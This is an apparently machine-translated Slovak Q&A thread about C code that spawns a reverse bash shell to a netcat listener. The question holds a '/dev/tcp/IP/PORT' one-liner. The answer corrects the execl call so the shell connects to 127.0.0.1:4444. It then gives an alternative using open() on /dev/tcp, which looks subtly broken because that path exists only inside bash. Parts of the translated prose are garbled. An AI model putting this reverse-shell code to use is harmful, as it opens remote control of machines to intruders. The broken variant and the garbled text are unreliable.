Takže nemôžem zistiť, čo sa deje. Zakaždým, keď sa táto funkcia vykoná, otvorí shell v rámci mojej aktuálnej aplikácie. Predpokladá sa, že bude posielať shell na počúvanie
netcat
Myslel som, že riešenie by bolo vidlicovité, ale ja by som získal rovnaké výsledky.
void cmd_bashcb(char *ip, int port) {
if (port > 0 && port < 65536) {
if (fork() == 0) {
//char *args[] = {"/bin/bash -i >& /dev/tcp/127.0.0.1/4444 0>&1", NULL };
//execv("/bin/bash", args);
execl("/bin/bash", "/bin/bash -i >& /dev/tcp/127.0.0.1/4444 0>&1", NULL);
}
}
}
Naozaj jeden z tých problémov, ktoré môžem povedať
ak vykonám tento CLI, funguje to ako kúzlo
bash -i >& /dev/tcp/IP/PORT 0>&1
Akékoľvek nápady chalani?
odpovede:
1 pre odpoveď č. 1Prvý argument pre execl()
je cesta k spustiteľnému súboru. Druhým argumentom je argv[0]
, Hovoríte, že jeho meno je "/bin/bash -i >&…
", a keďže neexistujú žiadne iné argumenty, beží ako bežný interaktívny shell pripojený k štandardným I / O kanálom procesu, v ktorom je váš kód.
potrebuješ:
execl("/bin/bash", "/bin/bash", "-c", "/bin/bash -i >& /dev/tcp/127.0.0.1/4444 0>&1", (char *)0);
Toto účinne vyvoláva:
/bin/bash -i >& /dev/tcp/127.0.0.1/4444 0>&1
Potrebujete extra úroveň shell, aby sa shell spracoval I / O presmerovanie. Mohli by ste to urobiť sami a uložiť uloženie shellu.
int fd = open("/dev/tcp/127.0.0.1/4444", O_RDWR);
dup2(fd, STDIN_FILENO);
dup2(fd, STDOUT_FILENO);
dup2(fd, STDERR_FILENO);
close(fd);
execl("/bin/bash", "/bin/bash", "-i", (char *)0);